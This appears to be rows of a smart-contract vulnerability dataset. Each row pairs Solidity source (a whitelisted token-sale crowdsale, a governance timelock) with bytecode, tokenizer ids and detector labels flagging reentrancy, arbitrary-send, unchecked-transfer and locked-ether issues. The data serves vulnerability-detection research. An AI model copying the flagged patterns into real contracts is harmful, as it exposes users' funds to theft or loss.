* @dev Extend parent behavior requiring beneficiary to be in whitelist.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TokenSale is FinalizableCrowdsale,
WhitelistedCrowdsale {
using SafeMath for uint256;
address public managerAddr;
address public poolAddr;
bool public isInitialized = false;
uint256 public timeLockRate;
uint256 public timeLockEnd;
uint256 public tokensMinted = 0;
uint256 public tokensCap;
uint256 public minAcceptableWei;
bool public carryover;
modifier onlyManager{
require(msg.sender == managerAddr);
_;
}
/// @dev Constructor.
/// @param _rate Number of tokens issued with 1 ETH. [minimal unit of the token / ETH]
/// @param _token The contract address of a ERC20 token.
/// @param _poolAddr The contract address of DaicoPool.
/// @param _openingTime A timestamp of the date this sale will start.
/// @param _closingTime A timestamp of the date this sale will end.
/// @param _tokensCap Number of tokens to be sold. Can be 0 if it accepts carryover.
/// @param _timeLockRate Specified rate of issued tokens will be locked. ex. 50 = 50%
/// @param _timeLockEnd A timestamp of the date locked tokens will be released.
/// @param _carryover If true, unsold tokens will be carryovered to next sale.
/// @param _minAcceptableWei Minimum contribution.
/// @return
constructor (
uint256 _rate, /* The unit of rate is [nano tokens / ETH] in this contract */
ERC20Interface _token,
address _poolAddr,
uint256 _openingTime,
uint256 _closingTime,
uint256 _tokensCap,
uint256 _timeLockRate,
uint256 _timeLockEnd,
bool _carryover,
uint256 _minAcceptableWei
) public Crowdsale(_rate, _poolAddr, _token) TimedCrowdsale(_openingTime, _closingTime) {
require(_timeLockRate >= 0 && _timeLockRate <=100);
require(_poolAddr != address(0x0));
managerAddr = msg.sender;
poolAddr = _poolAddr;
timeLockRate = _timeLockRate;
timeLockEnd = _timeLockEnd;
tokensCap = _tokensCap;
carryover = _carryover;
minAcceptableWei = _minAcceptableWei;
}
/// @dev Initialize the sale. If carryoverAmount is given, it added the tokens to be sold.
/// @param carryoverAmount Amount of tokens to be added to capTokens.
/// @return
function initialize(uint256 carryoverAmount) external onlyManager {
require(!isInitialized);
isInitialized = true;
tokensCap = tokensCap.add(carryoverAmount);
}
/// @dev Finalize the sale. It transfers all the funds it has. Can be repeated.
/// @return
function finalize() onlyOwner public {
//require(!isFinalized);
require(isInitialized);
require(canFinalize());
finalization();
emit Finalized();
isFinalized = true;
}
/// @dev Check if the sale can be finalized.
/// @return True if closing time has come or tokens are sold out.
function canFinalize() public view returns(bool) {
return (hasClosed() || (isInitialized && tokensCap <= tokensMinted));
}
/// @dev It transfers all the funds it has.
/// @return
function finalization() internal {
if(address(this).balance > 0){
poolAddr.transfer(address(this).balance);
}
}
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param _beneficiary Token purchaser
* @param _tokenAmount Number of tokens to be minted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
//require(tokensMinted.add(_tokenAmount) <= tokensCap);
require(tokensMinted < tokensCap);
uint256 time_locked = _tokenAmount.mul(timeLockRate).div(100);
uint256 instant = _tokenAmount.sub(time_locked);
if (instant > 0) {
require(TokenSaleManager(managerAddr).mint(_beneficiary, instant));
}
if (time_locked > 0) {
require(TokenSaleManager(managerAddr).mintTimeLocked(
_beneficiary,
time_locked,
timeLockEnd
));
}
tokensMinted = tokensMinted.add(_tokenAmount);
}
/// @dev Overrides _forwardFunds to do nothing.
function _forwardFunds() internal {}
/// @dev Overrides _preValidatePurchase to check minimam contribution and initialization.
/// @param _beneficiary Token purchaser
/// @param _weiAmount weiAmount to pay
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(isInitialized);
require(_weiAmount >= minAcceptableWei);
}
/**
* @dev Overridden in order to change the unit of rate with [nano toekns / ETH]
* instead of original [minimal unit of the token / wei].
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).div(10**18); //The unit of rate is [nano tokens / ETH].
}
} | 0x60806040526004361061015e5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663085ceb308114610169578063136eb583146101905780631515bc2b146101a55780632c4e722e146101ce5780632e3c9e99146101e3578063392e53cd146102145780633d74a03e146102295780633dddd0a51461023e5780634042b66f146102535780634b6753bc146102685780634bb278f31461027d578063521eb273146102925780636041f7a9146102a75780636046cd99146102bc5780636de9f32b146102d157806371e28126146102e65780638ab1d681146102fb5780638c10671c1461031c5780638d4e40831461033c5780638da5cb5b146103515780639b19251a14610366578063b7a8807c14610387578063e43252d71461039c578063ec8ac4d8146103bd578063f2fde38b146103d1578063fc0c546a146103f2578063fe4b84df14610407575b6101673361041f565b005b34801561017557600080fd5b5061017e6104c1565b60408051918252519081900360200190f35b34801561019c57600080fd5b5061017e6104c7565b3480156101b157600080fd5b506101ba6104cd565b604080519115158252519081900360200190f35b3480156101da57600080fd5b5061017e6104d5565b3480156101ef57600080fd5b506101f86104db565b60408051600160a060020a039092168252519081900360200190f35b34801561022057600080fd5b506101ba6104ea565b34801561023557600080fd5b506101ba6104fa565b34801561024a57600080fd5b5061017e610503565b34801561025f57600080fd5b5061017e610509565b34801561027457600080fd5b5061017e61050f565b34801561028957600080fd5b50610167610515565b34801561029e57600080fd5b506101f86105ae565b3480156102b357600080fd5b5061017e6105bd565b3480156102c857600080fd5b506101f86105c3565b3480156102dd57600080fd5b5061017e6105d2565b3480156102f257600080fd5b506101ba6105d8565b34801561030757600080fd5b50610167600160a060020a036004351661060a565b34801561032857600080fd5b506101676004803560248101910135610642565b34801561034857600080fd5b506101ba6106b3565b34801561035d57600080fd5b506101f86106c3565b34801561037257600080fd5b506101ba600160a060020a03600435166106d2565b34801561039357600080fd5b5061017e6106e7565b3480156103a857600080fd5b50610167600160a060020a03600435166106ed565b610167600160a060020a036004351661041f565b3480156103dd57600080fd5b50610167600160a060020a0360043516610728565b3480156103fe57600080fd5b506101f86107bd565b34801561041357600080fd5b506101676004356107cc565b34600061042c8383610837565b6104358261086c565b60035490915061044b908363ffffffff6108a116565b60035561045883826108bb565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36104aa8383610868565b6104b26108c5565b6104bc8383610868565b505050565b600d5481565b600e5481565b600554421190565b60025481565b600854600160a060020a031681565b60095460a060020a900460ff1681565b600f5460ff1681565b600b5481565b60035481565b60055481565b600654600160a060020a0316331461052c57600080fd5b60095460a060020a900460ff16151561054457600080fd5b61054c6105d8565b151561055757600080fd5b61055f6108c7565b6040517f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768190600090a16006805474ff0000000000000000000000000000000000000000191660a060020a179055565b600154600160a060020a031681565b600a5481565b600954600160a060020a031681565b600c5481565b60006105e26104cd565b80610605575060095460a060020a900460ff1680156106055750600c54600d5411155b905090565b600654600160a060020a0316331461062157600080fd5b600160a060020a03166000908152600760205260409020805460ff19169055565b600654600090600160a060020a0316331461065c57600080fd5b5060005b818110156104bc5760016007600085858581811061067a57fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916911515919091179055600101610660565b60065460a060020a900460ff1681565b600654600160a060020a031681565b60076020526000908152604090205460ff1681565b60045481565b600654600160a060020a0316331461070457600080fd5b600160a060020a03166000908152600760205260409020805460ff19166001179055565b600654600160a060020a0316331461073f57600080fd5b600160a060020a038116151561075457600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b600854600160a060020a031633146107e357600080fd5b60095460a060020a900460ff16156107fa57600080fd5b6009805474ff0000000000000000000000000000000000000000191660a060020a179055600d54610831908263ffffffff6108a116565b600d5550565b610841828261090e565b60095460a060020a900460ff16151561085957600080fd5b600e5481101561086857600080fd5b5050565b600061089b670de0b6b3a764000061088f6002548561094190919063ffffffff16565b9063ffffffff61096c16565b92915050565b6000828201838110156108b057fe5b8091505b5092915050565b6108688282610981565b565b6000303111156108c557600954604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561090b573d6000803e3d6000fd5b50565b600160a060020a038216600090815260076020526040902054829060ff16151561093757600080fd5b6104bc8383610b49565b60008083151561095457600091506108b4565b5082820282848281151561096457fe5b04146108b057fe5b6000818381151561097957fe5b049392505050565b600080600d54600c5410151561099657600080fd5b6109b0606461088f600a548661094190919063ffffffff16565b91506109c2838363ffffffff610b7216565b90506000811115610a7357600854604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015260248201859052915191909216916340c10f199160448083019260209291908290030181600087803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b505050506040513d6020811015610a6657600080fd5b50511515610a7357600080fd5b6000821115610b2d57600854600b54604080517fb762e6e8000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301526024820187905260448201939093529051919092169163b762e6e89160648083019260209291908290030181600087803b158015610af657600080fd5b505af1158015610b0a573d6000803e3d6000fd5b505050506040513d6020811015610b2057600080fd5b50511515610b2d57600080fd5b600c54610b40908463ffffffff6108a116565b600c5550505050565b6004544210158015610b5d57506005544211155b1515610b6857600080fd5b6108688282610b84565b600082821115610b7e57fe5b50900390565b600160a060020a0382161515610b9957600080fd5b80151561086857600080fd00a165627a7a7230582018a568d52216bd356ff6b36052b5f5452f0f0f7240f7a133f1474b895673ecae0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
25746,
2581,
11329,
2278,
2620,
2683,
2575,
2509,
7875,
2620,
16409,
2278,
2546,
12376,
2278,
2546,
2575,
2581,
21486,
2063,
2692,
7875,
19797,
2575,
29292,
23833,
2475,
3676,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
12783,
9453,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
1013,
1013,
1996,
19204,
2108,
2853,
9413,
2278,
11387,
18447,
2121,
12172,
2270,
19204,
1025,
1013,
1013,
4769,
2073,
5029,
2024,
5067,
4769,
2270,
15882,
1025,
1013,
1013,
2129,
2116,
19204,
3197,
1037,
17634,
4152,
2566,
11417,
21318,
3372,
17788,
2575,
2270,
3446,
1025,
1013,
1013,
3815,
1997,
11417,
2992,
21318,
3372,
17788,
2575,
2270,
16658,
15593,
2098,
1025,
1013,
1008,
1008,
1008,
2724,
2005,
19204,
5309,
15899,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,441 | 0x95283102a95f84fd7fb3ba0ee5c5a8f16e82c025 | // SPDX-License-Identifier: MIT
/**
* KP2R.NETWORK
* A standard implementation of kp3rv1 protocol
* Optimized Dapp
* Scalability
* Clean & tested code
*/
/*
This contract is provided "as is" and "with all faults." The deployer makes no representations or warranties
of any kind concerning the safety, suitability, lack of exploits, inaccuracies, typographical errors, or other
harmful components of this contract. There are inherent dangers in the use of any contract, and you are solely
responsible for determining whether this contract is safe to use. You are also solely responsible for the
protection of your funds, and the deployer will not be liable for any damages you may suffer in connection with
using, modifying, or distributing this contract.
*/
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Governance {
using SafeMath for uint;
/// @notice The name of this contract
string public constant name = "Governance";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
uint public _quorumVotes = 200; // % of total supply required
/// @notice The number of votes required in order for a voter to become a proposer
uint public _proposalThreshold = 100;
uint public constant BASE = 10000;
function setQuorum(uint quorum_) external {
require(msg.sender == address(this), "Governance::setQuorum: timelock only");
_quorumVotes = quorum_;
}
function quorumVotes() public view returns (uint) {
return VOTER.totalSupply().mul(_quorumVotes).div(BASE);
}
function proposalThreshold() public view returns (uint) {
return VOTER.totalSupply().mul(_proposalThreshold).div(BASE);
}
function setThreshold(uint threshold_) external {
require(msg.sender == address(this), "Governance::setQuorum: timelock only");
_proposalThreshold = threshold_;
}
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the governance token
DelegateInterface public VOTER;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(VOTER.getPriorVotes(msg.sender, block.number.sub(1)) > proposalThreshold(), "Governance::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "Governance::propose: proposal function information arity mismatch");
require(targets.length != 0, "Governance::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "Governance::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "Governance::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "Governance::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = block.number.add(votingDelay());
uint endBlock = startBlock.add(votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "Governance::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = block.timestamp.add(delay);
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!queuedTransactions[keccak256(abi.encode(target, value, signature, data, eta))], "Governance::_queueOrRevert: proposal action already queued at eta");
queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "Governance::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
executeTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "Governance::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(VOTER.getPriorVotes(proposal.proposer, block.number.sub(1)) < proposalThreshold(), "Governance::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "Governance::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= proposal.eta.add(GRACE_PERIOD)) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Governance::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "Governance::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "Governance::_castVote: voter already voted");
uint votes = VOTER.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = proposal.forVotes.add(votes);
} else {
proposal.againstVotes = proposal.againstVotes.add(votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 days;
uint public constant MAXIMUM_DELAY = 30 days;
uint public delay = MINIMUM_DELAY;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address token_) public {
VOTER = DelegateInterface(token_);
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == address(this), "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == address(this), "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == address(this), "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
interface DelegateInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint);
function totalSupply() external view returns (uint);
}
contract GovernanceFactory {
function deploy(address voter) external returns (address) {
return address(new Governance(voter));
}
} | 0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80634c96a38914610030575b600080fd5b61004361003e3660046100b3565b610059565b60405161005091906100e8565b60405180910390f35b60008160405161006890610095565b61007291906100e8565b604051809103906000f08015801561008e573d6000803e3d6000fd5b5092915050565b613f2f8061011f83390190565b80356100ad81610107565b92915050565b6000602082840312156100c557600080fd5b60006100d184846100a2565b949350505050565b6100e2816100f6565b82525050565b602081016100ad82846100d9565b60006001600160a01b0382166100ad565b610110816100f6565b811461011b57600080fd5b5056fe608060405260c86000556064600155620151806006553480156200002257600080fd5b5060405162003f2f38038062003f2f83398101604081905262000045916200007e565b600280546001600160a01b0319166001600160a01b0392909216919091179055620000d3565b80516200007881620000b9565b92915050565b6000602082840312156200009157600080fd5b60006200009f84846200006b565b949350505050565b60006001600160a01b03821662000078565b620000c481620000a7565b8114620000d057600080fd5b50565b613e4c80620000e36000396000f3fe6080604052600436106102045760003560e01c80637bdbe4d011610118578063da35c664116100a0578063e177246e1161006f578063e177246e1461056b578063e23a9a521461058b578063ec342ad0146105b8578063f2b06537146105cd578063fe0d94c1146105fa57610204565b8063da35c66414610501578063da95691a14610516578063ddf0b00914610536578063deaaa7cc1461055657610204565b8063b1b43ae5116100e7578063b1b43ae51461048d578063b58131b0146104a2578063be4a66b6146104b7578063c1a287e2146104cc578063c1ba4e59146104e157610204565b80637bdbe4d0146104215780637d645fab146104365780638ebf2fd61461044b578063960bfe041461046d57610204565b8063328dd9821161019b57806340e58ee51161016a57806340e58ee5146103975780634634c61f146103b7578063591fcdfe146103d75780636a42b8f8146103f75780636e3827b71461040c57610204565b8063328dd982146103055780633932abb1146103355780633a66f9011461034a5780633e4f49e61461036a57610204565b806315373e3d116101d757806315373e3d1461029b57806317977c61146102bb57806320606b70146102db57806324bc1a64146102f057610204565b8063013cf08b1461020657806302a251a31461024457806306fdde03146102665780630825f38f14610288575b005b34801561021257600080fd5b50610226610221366004612897565b61060d565b60405161023b99989796959493929190613bbe565b60405180910390f35b34801561025057600080fd5b50610259610666565b60405161023b9190613878565b34801561027257600080fd5b5061027b61066d565b60405161023b919061390b565b61027b610296366004612713565b610693565b3480156102a757600080fd5b506102046102b636600461290d565b6108a9565b3480156102c757600080fd5b506102596102d63660046126ed565b6108b8565b3480156102e757600080fd5b506102596108ca565b3480156102fc57600080fd5b506102596108e1565b34801561031157600080fd5b50610325610320366004612897565b610992565b60405161023b949392919061381d565b34801561034157600080fd5b50610259610c21565b34801561035657600080fd5b50610259610365366004612713565b610c26565b34801561037657600080fd5b5061038a610385366004612897565b610d1f565b60405161023b919061392a565b3480156103a357600080fd5b506102046103b2366004612897565b610e30565b3480156103c357600080fd5b506102046103d236600461293d565b61112e565b3480156103e357600080fd5b506102046103f2366004612713565b6112b8565b34801561040357600080fd5b50610259611371565b34801561041857600080fd5b50610259611377565b34801561042d57600080fd5b5061025961137d565b34801561044257600080fd5b50610259611382565b34801561045757600080fd5b50610460611389565b60405161023b919061391c565b34801561047957600080fd5b50610204610488366004612897565b611398565b34801561049957600080fd5b506102596113bc565b3480156104ae57600080fd5b506102596113c3565b3480156104c357600080fd5b5061025961141f565b3480156104d857600080fd5b50610259611425565b3480156104ed57600080fd5b506102046104fc366004612897565b61142c565b34801561050d57600080fd5b50610259611450565b34801561052257600080fd5b506102596105313660046127b8565b611456565b34801561054257600080fd5b50610204610551366004612897565b611887565b34801561056257600080fd5b50610259611ac1565b34801561057757600080fd5b50610204610586366004612897565b611acd565b34801561059757600080fd5b506105ab6105a63660046128d3565b611b65565b60405161023b9190613b08565b3480156105c457600080fd5b50610259611bc9565b3480156105d957600080fd5b506105ed6105e8366004612897565b611bcf565b60405161023b919061386a565b610204610608366004612897565b611be4565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b619d805b90565b6040518060400160405280600a815260200169476f7665726e616e636560b01b81525081